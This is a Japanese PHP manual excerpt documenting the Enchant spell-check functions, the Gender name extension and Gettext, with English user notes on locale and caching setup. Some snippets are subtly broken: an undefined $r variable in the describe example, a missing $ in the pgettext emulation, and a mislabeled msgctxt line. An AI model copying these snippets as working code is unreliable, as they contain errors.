成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。
8.0.0 | このバージョンより前では、この関数は失敗時に false を返していました。

例

例1 enchant_broker_dict_describe() の例

辞書が存在するかどうかを enchant_broker_dict_exists() で調べ、 その詳細を表示します。

<?php
$tag = 'en_US';
$broker = enchant_broker_init();
if (enchant_broker_dict_exists($broker,$tag)) {
    $dict = enchant_broker_request_dict($r, $tag);
    $dict_details = enchant_dict_describe($dict);
    print_r($dict_details);
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [lang] => en_US
    [name] => aspell
    [desc] => Aspell Provider
    [file] => /usr/lib/enchant/libenchant_aspell.so
)

User Contributed Notes

There are no user contributed notes for this page.


現在のスペリングセッションの直近のエラーを返す

  • ≪ enchant_dict_describe
  • enchant_dict_is_added ≫
  • PHP Manual
  • Enchant 関数
  • 現在のスペリングセッションの直近のエラーを返す

enchant_dict_get_error

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_get_error — 現在のスペリングセッションの直近のエラーを返す

説明

enchant_dict_get_error ( EnchantDictionary $dictionary ) : string|false

現在のスペリングセッションの、直近のエラーを返します。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

返り値

エラーメッセージを表す文字列、あるいはエラーが発生していない場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

User Contributed Notes

There are no user contributed notes for this page.


現在のセッションに、単語が存在するかどうかを調べる

  • ≪ enchant_dict_get_error
  • enchant_dict_is_in_session ≫
  • PHP Manual
  • Enchant 関数
  • 現在のセッションに、単語が存在するかどうかを調べる

enchant_dict_is_added

(PHP 8)

enchant_dict_is_added — 現在のセッションに、単語が存在するかどうかを調べる

説明

enchant_dict_is_added ( EnchantDictionary $dictionary , string $word ) : bool

現在のセッションに、指定された単語が存在するかを調べる。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

調べる単語。

返り値

単語が存在した場合、true を返します。 存在しない場合、false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

参考

  • enchant_dict_add_to_session() - '単語' を、このスペルチェックセッションに追加する

User Contributed Notes

There are no user contributed notes for this page.


のエイリアス enchant_dict_is_added

  • ≪ enchant_dict_is_added
  • enchant_dict_quick_check ≫
  • PHP Manual
  • Enchant 関数
  • のエイリアス enchant_dict_is_added

enchant_dict_is_in_session

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_is_in_session — のエイリアス enchant_dict_is_added()

警告

このエイリアスは PHP 8.0.0 で 非推奨 になりました。

説明

この関数は次の関数のエイリアスです。 enchant_dict_is_added().

User Contributed Notes

There are no user contributed notes for this page.


単語のスペルが正しいかどうかを調べ、修正候補を提供する

  • ≪ enchant_dict_is_in_session
  • enchant_dict_store_replacement ≫
  • PHP Manual
  • Enchant 関数
  • 単語のスペルが正しいかどうかを調べ、修正候補を提供する

enchant_dict_quick_check

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant:0.2.0-1.0.1)

enchant_dict_quick_check — 単語のスペルが正しいかどうかを調べ、修正候補を提供する

説明

enchant_dict_quick_check ( EnchantDictionary $dictionary , string $word , array &$suggestions = null ) : bool

単語のスペルが正しい場合は true、そうでない場合は false を返します。変数 suggestions を指定している場合は、 そこに修正候補が格納されます。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

調べる単語。

suggestions

単語のスペルが間違っている場合に、 この変数の中に修正候補の配列が格納されます。

返り値

単語のスペルが正しい場合に true、 そうでない場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

例

例1 enchant_dict_quick_check() の例

<?php
$tag = 'en_US';
$r = enchant_broker_init();

if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);
    enchant_dict_quick_check($d, 'soong', $suggs);
    print_r($suggs);
}
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => song
    [1] => snog
    [2] => soon
    [3] => Sang
    [4] => Sung
    [5] => sang
    [6] => sung
    [7] => sponge
    [8] => spongy
    [9] => snag
    [10] => snug
    [11] => sonic
    [12] => sing
    [13] => songs
    [14] => Son
    [15] => Sonja
    [16] => Synge
    [17] => son
    [18] => Sejong
    [19] => sarong
    [20] => sooner
    [21] => Sony
    [22] => sown
    [23] => scone
    [24] => song's
)

参考

  • enchant_dict_check() - 単語のスペルが正しいかどうかを調べる
  • enchant_dict_suggest() - 修正候補となる値の一覧を返す

User Contributed Notes

There are no user contributed notes for this page.


単語の修正候補を追加する

  • ≪ enchant_dict_quick_check
  • enchant_dict_suggest ≫
  • PHP Manual
  • Enchant 関数
  • 単語の修正候補を追加する

enchant_dict_store_replacement

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_store_replacement — 単語の修正候補を追加する

説明

enchant_dict_store_replacement ( EnchantDictionary $dictionary , string $misspelled , string $correct ) : void

'mis' の修正候補として 'cor' を使用します。 @mis が @cor に置き換えられることに注意しましょう。 今後 @mis が登場すると、それは @cor で置き換えられます。 そのため、@cor が修正候補の中で衝突するかもしれません。

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

misspelled

修正する単語。

correct

正しい単語。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

User Contributed Notes

There are no user contributed notes for this page.


修正候補となる値の一覧を返す

  • ≪ enchant_dict_store_replacement
  • EnchantBroker ≫
  • PHP Manual
  • Enchant 関数
  • 修正候補となる値の一覧を返す

enchant_dict_suggest

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL enchant >= 0.1.0 )

enchant_dict_suggest — 修正候補となる値の一覧を返す

説明

enchant_dict_suggest ( EnchantDictionary $dictionary , string $word ) : array

パラメータ

dictionary

enchant_broker_request_dict() または enchant_broker_request_pwl_dict() によって返される Enchant 辞書。

word

修正候補を調べる単語。

返り値

単語のスペルが間違っている場合に、修正候補の配列を返します。

変更履歴

バージョン | 説明
8.0.0 | dictionary は、EnchantDictionary クラスのインスタンスを期待するようになりました。 これより前のバージョンでは、リソース が期待されていました。

例

例1 enchant_dict_suggest() の例

<?php
$tag = 'en_US';
$r = enchant_broker_init();
if (enchant_broker_dict_exists($r,$tag)) {
    $d = enchant_broker_request_dict($r, $tag);

    $wordcorrect = enchant_dict_check($d, "soong");
    if (!$wordcorrect) {
        $suggs = enchant_dict_suggest($d, "soong");
        echo "'soong' の修正候補:";
        print_r($suggs);
    }
    enchant_broker_free_dict($d);
}
enchant_broker_free($r);
?>

参考

  • enchant_dict_check() - 単語のスペルが正しいかどうかを調べる
  • enchant_dict_quick_check() - 単語のスペルが正しいかどうかを調べ、修正候補を提供する

User Contributed Notes

There are no user contributed notes for this page.


EnchantBroker クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 enchant_broker リソースを置き換える完全不透明クラスです。

クラス概要

final EnchantBroker {
}

User Contributed Notes

There are no user contributed notes for this page.


EnchantDictionary クラス

(PHP 8)

はじめに

PHP 8.0.0 以降、 enchant_dict リソースを置き換える完全不透明クラスです。

クラス概要

final EnchantDictionary {
}

User Contributed Notes

There are no user contributed notes for this page.


名前の性別の判別

  • はじめに
  • インストール/設定
    • インストール手順
  • 例
    • 利用例
  • Gender\Gender — Gender\Gender クラス
    • Gender\Gender::connect — 外部の名前ディレクトリに接続する
    • Gender\Gender::__construct — Gender オブジェクトを作る
    • Gender\Gender::country — 国を表すテキストを取得する
    • Gender\Gender::get — 性別を取得する
    • Gender\Gender::isNick — name0 が name1 のエイリアスかどうかを調べる
    • Gender\Gender::similarNames — 似た名前を取得する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

Gender 拡張モジュールは、Joerg Michael によるプログラム gender.c を PHP に移植したものです。主目的は、ファーストネームから性別を判断することです。 データベースには、現時点で 54か国から 40000 を超えるファーストネームが含まれています。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/gender

この PECL 拡張モジュールの DLL は » http://windows.php.net/downloads/pecl/releases/gender/ にあります。

User Contributed Notes

There are no user contributed notes for this page.


例

目次

  • 利用例

User Contributed Notes

There are no user contributed notes for this page.


利用例

Gender クラスの利用例です。

例1 利用例

<?php

namespace Gender;

$gender = new Gender;

$name = "Milene";
$country = Gender::FRANCE;

$result = $gender->get($name, $country);

$data = $gender->country($country);

switch($result) {
    case Gender::IS_FEMALE:
        printf("%sは、%sでは女性の名前です。\n", $name, $data['country']);
    break;

    case Gender::IS_MOSTLY_FEMALE:
        printf("%sは、%sではおそらく女性の名前です。\n", $name, $data['country']);
    break;

    case Gender::IS_MALE:
        printf("%sは、%sでは男性の名前です。\n", $name, $data['country']);
    break;

    case Gender::IS_MOSTLY_MALE:
        printf("%sは、%sではおそらく男性の名前です。\n", $name, $data['country']);
    break;

    case Gender::IS_UNISEX_NAME:
        printf("%sは、%sでは男女どちらも区別しません。\n", $name, $data['country']);
    break;

    case Gender::IS_A_COUPLE:
        printf("%sは、%sでは男性の名前としても女性の名前としても使います。\n", $name, $data['country']);
    break;

    case Gender::NAME_NOT_FOUND:
        printf("%sは、%sでは見つかりません。\n", $name, $data['country']);
    break;

    case Gender::ERROR_IN_NAME:
        echo "名前にエラーが発生しました!\n";
    break;

    default:
        echo "エラーが発生しました!\n";
    break;

}

User Contributed Notes

There are no user contributed notes for this page.


Gender\Gender クラス

(PECL gender >= 0.6.0)

はじめに

クラス概要

Gender\Gender {
/* Constants */
const int IS_FEMALE = 70 ;
const int IS_MOSTLY_FEMALE = 102 ;
const int IS_MALE = 77 ;
const int IS_MOSTLY_MALE = 109 ;
const int IS_UNISEX_NAME = 63 ;
const int IS_A_COUPLE = 67 ;
const int NAME_NOT_FOUND = 32 ;
const int ERROR_IN_NAME = 69 ;
const int ANY_COUNTRY = 0 ;
const int BRITAIN = 1 ;
const int IRELAND = 2 ;
const int USA = 3 ;
const int SPAIN = 4 ;
const int PORTUGAL = 5 ;
const int ITALY = 6 ;
const int MALTA = 7 ;
const int FRANCE = 8 ;
const int BELGIUM = 9 ;
const int LUXEMBOURG = 10 ;
const int NETHERLANDS = 11 ;
const int GERMANY = 12 ;
const int EAST_FRISIA = 13 ;
const int AUSTRIA = 14 ;
const int SWISS = 15 ;
const int ICELAND = 16 ;
const int DENMARK = 17 ;
const int NORWAY = 18 ;
const int SWEDEN = 19 ;
const int FINLAND = 20 ;
const int ESTONIA = 21 ;
const int LATVIA = 22 ;
const int LITHUANIA = 23 ;
const int POLAND = 24 ;
const int CZECH_REP = 25 ;
const int SLOVAKIA = 26 ;
const int HUNGARY = 27 ;
const int ROMANIA = 28 ;
const int BULGARIA = 29 ;
const int BOSNIA = 30 ;
const int CROATIA = 31 ;
const int KOSOVO = 32 ;
const int MACEDONIA = 33 ;
const int MONTENEGRO = 34 ;
const int SERBIA = 35 ;
const int SLOVENIA = 36 ;
const int ALBANIA = 37 ;
const int GREECE = 38 ;
const int RUSSIA = 39 ;
const int BELARUS = 40 ;
const int MOLDOVA = 41 ;
const int UKRAINE = 42 ;
const int ARMENIA = 43 ;
const int AZERBAIJAN = 44 ;
const int GEORGIA = 45 ;
const int KAZAKH_UZBEK = 46 ;
const int TURKEY = 47 ;
const int ARABIA = 48 ;
const int ISRAEL = 49 ;
const int CHINA = 50 ;
const int INDIA = 51 ;
const int JAPAN = 52 ;
const int KOREA = 53 ;
/* メソッド */
public connect ( string $dsn ) : bool
public __construct ( string $dsn = ? )
public country ( int $country ) : array|false
public get ( string $name , int $country = ? ) : int
public isNick ( string $name0 , string $name1 , int $country = ? ) : array
public similarNames ( string $name , int $country = ? ) : array
}

定義済み定数

Gender\Gender::IS_FEMALE

Gender\Gender::IS_MOSTLY_FEMALE

Gender\Gender::IS_MALE

Gender\Gender::IS_MOSTLY_MALE

Gender\Gender::IS_UNISEX_NAME

Gender\Gender::IS_A_COUPLE

Gender\Gender::NAME_NOT_FOUND

Gender\Gender::ERROR_IN_NAME

Gender\Gender::ANY_COUNTRY

Gender\Gender::BRITAIN

Gender\Gender::IRELAND

Gender\Gender::USA

Gender\Gender::SPAIN

Gender\Gender::PORTUGAL

Gender\Gender::ITALY

Gender\Gender::MALTA

Gender\Gender::FRANCE

Gender\Gender::BELGIUM

Gender\Gender::LUXEMBOURG

Gender\Gender::NETHERLANDS

Gender\Gender::GERMANY

Gender\Gender::EAST_FRISIA

Gender\Gender::AUSTRIA

Gender\Gender::SWISS

Gender\Gender::ICELAND

Gender\Gender::DENMARK

Gender\Gender::NORWAY

Gender\Gender::SWEDEN

Gender\Gender::FINLAND

Gender\Gender::ESTONIA

Gender\Gender::LATVIA

Gender\Gender::LITHUANIA

Gender\Gender::POLAND

Gender\Gender::CZECH_REP

Gender\Gender::SLOVAKIA

Gender\Gender::HUNGARY

Gender\Gender::ROMANIA

Gender\Gender::BULGARIA

Gender\Gender::BOSNIA

Gender\Gender::CROATIA

Gender\Gender::KOSOVO

Gender\Gender::MACEDONIA

Gender\Gender::MONTENEGRO

Gender\Gender::SERBIA

Gender\Gender::SLOVENIA

Gender\Gender::ALBANIA

Gender\Gender::GREECE

Gender\Gender::RUSSIA

Gender\Gender::BELARUS

Gender\Gender::MOLDOVA

Gender\Gender::UKRAINE

Gender\Gender::ARMENIA

Gender\Gender::AZERBAIJAN

Gender\Gender::GEORGIA

Gender\Gender::KAZAKH_UZBEK

Gender\Gender::TURKEY

Gender\Gender::ARABIA

Gender\Gender::ISRAEL

Gender\Gender::CHINA

Gender\Gender::INDIA

Gender\Gender::JAPAN

Gender\Gender::KOREA

目次

  • Gender\Gender::connect — 外部の名前ディレクトリに接続する
  • Gender\Gender::__construct — Gender オブジェクトを作る
  • Gender\Gender::country — 国を表すテキストを取得する
  • Gender\Gender::get — 性別を取得する
  • Gender\Gender::isNick — name0 が name1 のエイリアスかどうかを調べる
  • Gender\Gender::similarNames — 似た名前を取得する

User Contributed Notes

There are no user contributed notes for this page.


外部の名前ディレクトリに接続する

  • ≪ Gender\Gender
  • Gender\Gender::__construct ≫
  • PHP Manual
  • Gender\Gender
  • 外部の名前ディレクトリに接続する

Gender\Gender::connect

(PECL gender >= 0.6.0)

Gender\Gender::connect — 外部の名前ディレクトリに接続する

説明

public Gender\Gender::connect ( string $dsn ) : bool

外部の名前ディレクトリに接続します。 今のところ、サポートしているのはストリームだけです。

パラメータ

dsn

開きたい DSN。

返り値

成功したかどうかを boolean で返します。

User Contributed Notes

There are no user contributed notes for this page.


Gender オブジェクトを作る

  • ≪ Gender\Gender::connect
  • Gender\Gender::country ≫
  • PHP Manual
  • Gender\Gender
  • Gender オブジェクトを作る

Gender\Gender::__construct

(PECL gender >= 0.6.0)

Gender\Gender::__construct — Gender オブジェクトを作る

説明

public Gender\Gender::__construct ( string $dsn = ? )

Gender オブジェクトを作ります。オプションで、外部の名前ディレクトリに接続することもできます。 外部データベースを指定しなかったときは、コンパイル時に組み込まれたデータを使います。

パラメータ

dsn

開きたい DSN。

返り値

User Contributed Notes

There are no user contributed notes for this page.


国を表すテキストを取得する

  • ≪ Gender\Gender::__construct
  • Gender\Gender::get ≫
  • PHP Manual
  • Gender\Gender
  • 国を表すテキストを取得する

Gender\Gender::country

(PECL gender >= 0.8.0)

Gender\Gender::country — 国を表すテキストを取得する

説明

public Gender\Gender::country ( int $country ) : array|false

Gender クラスの定数から、国を表す文字列を取得します。

パラメータ

country

Gender\Gender クラスの定数で表される国 ID。

返り値

成功した場合は、短い国名と完全な国名の配列を返します。 失敗した場合に false を返します。

例

例1 Gender\Gender::country() の使用例

$gender = new Gender\Gender;
var_dump($gender->country(Gender\Gender::BRITAIN));

上の例の出力は以下となります。

array(2) {
  'country_short' =>
  string(2) "UK"
  'country' =>
  string(13) "Great Britain"
}

User Contributed Notes

There are no user contributed notes for this page.


性別を取得する

  • ≪ Gender\Gender::country
  • Gender\Gender::isNick ≫
  • PHP Manual
  • Gender\Gender
  • 性別を取得する

Gender\Gender::get

(PECL gender >= 0.6.0)

Gender\Gender::get — 性別を取得する

説明

public Gender\Gender::get ( string $name , int $country = ? ) : int

指定した名前について、特定の国における性別を取得します。

パラメータ

name

調べたい名前。

country

Gender クラスの定数で表される国 ID。

返り値

性別を返します。

User Contributed Notes

There are no user contributed notes for this page.


name0 が name1 のエイリアスかどうかを調べる

  • ≪ Gender\Gender::get
  • Gender\Gender::similarNames ≫
  • PHP Manual
  • Gender\Gender
  • name0 が name1 のエイリアスかどうかを調べる

Gender\Gender::isNick

(PECL gender >= 0.9.0)

Gender\Gender::isNick — name0 が name1 のエイリアスかどうかを調べる

説明

public Gender\Gender::isNick ( string $name0 , string $name1 , int $country = ? ) : array

name0 が name1 のエイリアスかどうかを調べます。

パラメータ

name0

調べる名前。

name1

調べる名前。

country

Gender クラスの定数で指定する国 ID。省略した場合は ANY_COUNTRY を使います。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


似た名前を取得する

  • ≪ Gender\Gender::isNick
  • Gettext ≫
  • PHP Manual
  • Gender\Gender
  • 似た名前を取得する

Gender\Gender::similarNames

(PECL gender >= 0.9.0)

Gender\Gender::similarNames — 似た名前を取得する

説明

public Gender\Gender::similarNames ( string $name , int $country = ? ) : array

名前と国を指定して、似た名前を取得します。

パラメータ

name

調べる名前。

country

Gender クラスの定数で指定する国 ID。省略した場合は ANY_COUNTRY を使います。

返り値

似ている名前の配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


Gettext

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Gettext 関数
    • bind_textdomain_codeset — DOMAIN メッセージカタログから返されるメッセージの文字エンコーディングを設定/取得する
    • bindtextdomain — ドメインのパスを取得/設定する
    • dcgettext — 単一の参照に関するドメインを上書きする
    • dcngettext — dcgettext の複数形版
    • dgettext — 現在のドメインを上書きする
    • dngettext — dgettext の複数形版
    • gettext — 現在のドメインのメッセージを参照する
    • ngettext — gettext の複数形版
    • textdomain — デフォルトドメインを設定する

User Contributed Notes

cucurella at gmail dot com 29-Oct-2020 05:27
<?php

// read directly .po files

function T_($contenido) {

    global $language;

    if ($language == "en") { $translation_file = "langs/en.po"; }
    if ($language == "es") { $translation_file = "langs/es.po"; }

    if (file_exists("$translation_file")) {
        $IDIOMA_CONTENT = file("$translation_file");
        $num_lineas = count($IDIOMA_CONTENT);
    } else {
        return $contenido;
    }

    for ($i = 0; $i <= $num_lineas; $i++) {
        $linea1 = $IDIOMA_CONTENT[$i];
        $linea1 = rtrim($linea1);
        $string6 = substr($linea1, 0, 6);

        if ($string6 == "msgid ") {
            $orig = str_replace($string6, "", $linea1);
            $orig = str_replace("\"", "", $orig);

            if ("$orig" == "$contenido") {
                $linea2 = $IDIOMA_CONTENT[$i + 1];
                $linea2 = rtrim($linea2);
                $string7 = substr($linea2, 0, 7);

                if ($string7 == "msgstr ") {
                    $trad = str_replace($string7, "", $linea2);
                    $trad = str_replace("\"", "", $trad);
                    return("$trad");
                }
            } else {
                $i = $i + 3;
            }
        }
    }

    return("$contenido");
}

$language = "es";

print T_("I on puc comprar el meu domini ?");
print T_("Aqui tens alguns links...");

?>
maximran800 at gmail dot com 01-Aug-2018 08:00
I have some problems setting geettext.
I ahve tried all the above example in noted, but none work.
However, i found a nice trick here and it work!!:
My platform is freebsd.

below is the post:
http://php.net/manual/en/function.gettext.php

Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
marioandrea dot petruccelli at gmail dot com 14-Mar-2018 09:54
How to use gettext on Windows.

If you use Linux start from the step 2 and consider cmd as linux shell.

1] First you have to download and install this
      https://mlocati.github.io/articles/gettext-iconv-windows.html

    Check all options during the installation and go on.

2] Create a index.php file into your website directory with this code inside:

   <?php
    echo  _("Good Morning");
    ?>

3] Open cmd and move into your website folder using cd

4] Now create the .mo files directly from the php files using this command
    xgettext -n index.php

    Use xgettext -help to see how to include more php files.

5] Once finished will be generate a file called messages.mo. Now you have to set the language and the charset. Open messages.mo with notepad and edit the lines:

 - "Language: \n" BECOMES "Language fr\n"
 - "Content-Type: text/plain; charset=CHARSET\n" BECOMES "Content-Type: text/plain; CHARSET=shift-jis\n"

6] Remember to translate every line where is present msgstr "", translating the instance msgid into language you have chosen. For instance:

   #: index.php:2
  msgid "Good Morning"
  msgstr "Bonjour"

7] Once finished open cmd and move into your website folder using cd and then type
     msgfmt messages.po

 This will make a file called messages.mo . Is a binary version of the messages.po file

8] Now you have to create a folder structure like this into your website folder. Do this for each language you want to add.

  website/locale/fr_FR/LC_MESSAGES

9] Move messages.mo and messages.po in locale/fr_FR/LC_MESSAGES

10] Now edit the index.php as follows

 <?php

 $locale = "fr_FR";

    if (defined('LC_MESSAGES')) {
        setlocale(LC_MESSAGES, $locale); // Linux
        bindtextdomain("messages", "./locale");
    } else {
        putenv("LC_ALL={$locale}"); // windows
        bindtextdomain("messages", ".\locale");
    }

    textdomain("messages");

    echo _("Good Morning");
?>

11] Open index.php in your browser and if you will see "Bonjour" it means everything is okay. If not,  start from the step 2 again.

If it was usefull for you vote up!

Visit my github profile https://github.com/TheoRelativity/
afrimuchkov at yandex dot ru 29-Oct-2017 10:35
Soo.... It was pretty hard)
Finaly:
1)Working if dir is "en", not "en_GB" or "en_GB.utf8". Only "en".
2)But use setlocale(LC_MESSAGES, "en_GB.utf8");
Anonymous 16-Dec-2014 12:00
for all they try to use a non-alpha-char in a domain name: DONT TRY THIS !!! we have search some hours to realized that "foo-bar" is not a good idea for a domain name. sometimes we got a correct translation, and sometimes not. so just use only the characters A-Z for a domain name!
Johnny 14-Jul-2014 09:31
Please also be noticed that the server will cache the .mo file on first loading and then "seldom" reload it, so your update to .mo file will not be revealed.  Some solution to clear the cache from web is to restart the apache server, or to use another name for the textdomain everytime.  These are tedious.  I cannot find better solution yet.
yuricardenas at gmail dot com 21-Jun-2009 11:30
*An important thing to keep in mind*:
Do not forget to set the charset in .po file!
For example:

"Content-Type: text/plain; CHARSET=shift-jis\n"

Then PHP will be able to find the .mo file you generated, using msgfmt, from the .po file WITH CHARSET SET.

Because of this I've wasted a lot of time debugging my code, testing every single little changes people suggested over this manual and Internet:

<?php

//this:
setlocale( LC_MESSAGES, 'pt_BR')
//or this:
setlocale( LC_MESSAGES, 'pt_BR.utf8')
//or this:
setlocale( LC_MESSAGES, '')

//this:
putenv("LANG=pt_BR.utf8");
//or this:
putenv("LANGUAGE=pt_BR.utf8");

//this:
bindtextdomain('mydomain', dirname(__FILE__).'/locale');
//or this:
bindtextdomain("*", dirname(__FILE__).'/locale');
//or this:
bindtextdomain('*', dirname(__FILE__).'/locale');

//setting or not "bind_textdomain_codeset()":
bind_textdomain_codeset("mydomain", 'UTF-8');
?>

As well as what locale directory name to set:
./locale/pt_BR.UTF8/LC_MESSAGES/mydomain.mo
or
./locale/pt_BR/LC_MESSAGES/mydomain.mo
or
./locale/pt/LC_MESSAGES/mydomain.mo

Finally, the code which brought the right translated strings (also with the correct charset) was:

<?php

$directory = dirname(__FILE__).'/locale';
$domain = 'mydomain';
$locale ="pt_BR.utf8";

//putenv("LANG=".$locale); //not needed for my tests, but people say it's useful for windows

setlocale( LC_MESSAGES, $locale);
bindtextdomain($domain, $directory);
textdomain($domain);
bind_textdomain_codeset($domain, 'UTF-8');
?>

And the three directory's names worked out, using the pt_BR.utf8 locale. (My tests were made restarting Apache then trying each directory).

I hope to help someone else not to waste as much time as I've wasted... =P

Using:
Ubuntu 8.04 (hardy)
Apache 2.2.8
PHP 5.2.4-2ubuntu5.6
jpatokal at iki dot fi 29-May-2009 12:05
Warning for Linux (Ubuntu) users!  Your system will *only* support the locales installed on your OS, in the *exact* format given by your OS.  (See also the PHP setlocale man page.)  To get a list of them, enter locale -a, which will give you something like this:

C
en_US.utf8
ja_JP.utf8
POSIX

So this machine only has English and Japanese!  To add eg. Finnish, install the package:

sudo apt-get install language-pack-fi-base

Rerun locale -a, and "fi_FI.utf8" should appear.  Make sure you're using the same name in your PHP code:

setlocale(LC_ALL, "fi_FI.utf8");

Adjust your po paths so that they match, e.g. "./locale/fi_FI.utf8/LC_MESSAGES/messages.po".

Now restart Apache, and it should finally work.  Figuring this out took quite a while...
sasq1 at go2 dot pl 31-Mar-2009 10:18
And what about pgettext and npgettext? They are there in the gettext documentation, but there aren't in PHP. They're very useful if you have the same messages for translation, but in different contexts, so they should be translated separately and probably differently.

Fortunately, there is a simple work-around, which may help:
From the gettext.h header one can find out that pgettext() is only a macro calling dcgettext() internally with properly mangled parameters - msgctxt and msgid are glued together with use of ASCII char 4 [EOT, End Of Text]. The same way they're written in .mo files, so it's possible to refer them this way.

Here's my "emulated" pgettext() function:

<?php
   if (!function_exists('pgettext')) {

      function pgettext($context, $msgid)
      {
         $contextString = "{$context}\004{$msgid}";
         $translation = dcgettext('messages', contextString,LC_MESSAGES);
         if ($translation == $contextString)  return $msgid;
         else  return $translation;
      }

   }
?>

By default, xgettext doesn't support pgettext function for PHP source files. But there is a parameter which can work-around it. Here's how I call xgettext:

   xgettext --force-po --keyword="pgettext:1c,2" -c -o messages.po sourceFile.php

In sourceFile.php I use the following test code:

   pgettext('menu', 'Open');  //Substitute "Otworz"
   pgettext('forum', 'Open');  //Substitute "Otwarty", different context

Generated .po file fragment:

   msgctxt "menu"
   msgid "Open"
   msgstr "Otworz"

   msgctxt "forum"
   msgctxt "Open"
   msgstr "Otwarty"

I've tested it out and everything works fine :-) If anyone have some further suggestions or fixes, please write ;-)
rainwalker at seznam dot cz 19-Mar-2009 09:16
My PHP app was made for UTF-8 but i had a problem that gettext always returned all texts in ISO-8859-2 instead of UTF-8.

Then i found out that you have to set locale in PHP exactly to encoding you request. So when i wanted czech UTF-8 i used:

setlocale(LC_ALL, "cs_CZ.UTF-8");

Now it works...
djogopatrao at gmail dot com 10-Dec-2008 10:49
It is noteworthy that, according to the GNU gettext FAQ[1], * source code must be ASCII *. That means that you can't write code like

<?= _("aaaaaaaa")?>

in UTF-8, ISO-8859-1 or whatever, and hope that that will work. It won't.

[1]http://www.gnu.org/software/gettext/FAQ.html#nonascii_strings
php at devicenull dot org 20-Aug-2008 07:58
To get this working properly on debian, install the locales-all package.  I just spent a few hours finding a bug where it wouldn't work because that package is missing


はじめに

gettext 関数は、NLS (Native Language Support) API を実装するもので、 PHP アプリケーションを国際化する際に使用することが可能です。 これらの関数の詳細については、システムの gettext ドキュメントを 参照するか、 » http://www.gnu.org/software/gettext/manual/gettext.html のドキュメントをごらんください。

User Contributed Notes

There are no user contributed notes for this page.


要件

以下の関数を使用するには、» http://www.gnu.org/software/gettext/gettext.html から GNU gettext パッケージをダウンロードし、インストールする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHP で GNU gettext サポートを有効にするには、オプション --with-gettext[=DIR] を追加する必要が あります。ただし、DIR は gettext をインストールするディレクトリで、 デフォルトは /usr/local です。

User Contributed Notes

There are no user contributed notes for this page.


Gettext 関数

目次

  • bind_textdomain_codeset — DOMAIN メッセージカタログから返されるメッセージの文字エンコーディングを設定/取得する
  • bindtextdomain — ドメインのパスを取得/設定する
  • dcgettext — 単一の参照に関するドメインを上書きする
  • dcngettext — dcgettext の複数形版
  • dgettext — 現在のドメインを上書きする
  • dngettext — dgettext の複数形版
  • gettext — 現在のドメインのメッセージを参照する
  • ngettext — gettext の複数形版
  • textdomain — デフォルトドメインを設定する

User Contributed Notes

richardbrinkman at hotmail dot com 14-Nov-2016 11:28
Gettext caches the machine readable *.mo files. This makes it pretty fast but also impossible to change a .mo file while running an application. Since PHP is running as a server, you cannot update your .mo file and see your new translation immediately. There are two ways to overcome this caching problem:

1. Restart your webserver. For example by a `systemctl restart apache2`. This will kill already running php processes and reload them afterwards.

2. If you don't have rights to restart a webserver (for example you are using a shared host), you can change the domain. Use for example this PHP code to hard link the new domain to the changed .mo files:

$locale = "nl_NL.utf8"; //set this to your language
setlocale(LC_ALL, $locale);
putenv('LANG=' . $locale);
$mtime = 0;
$translationDir = "locale"; //or where ever you store your translations
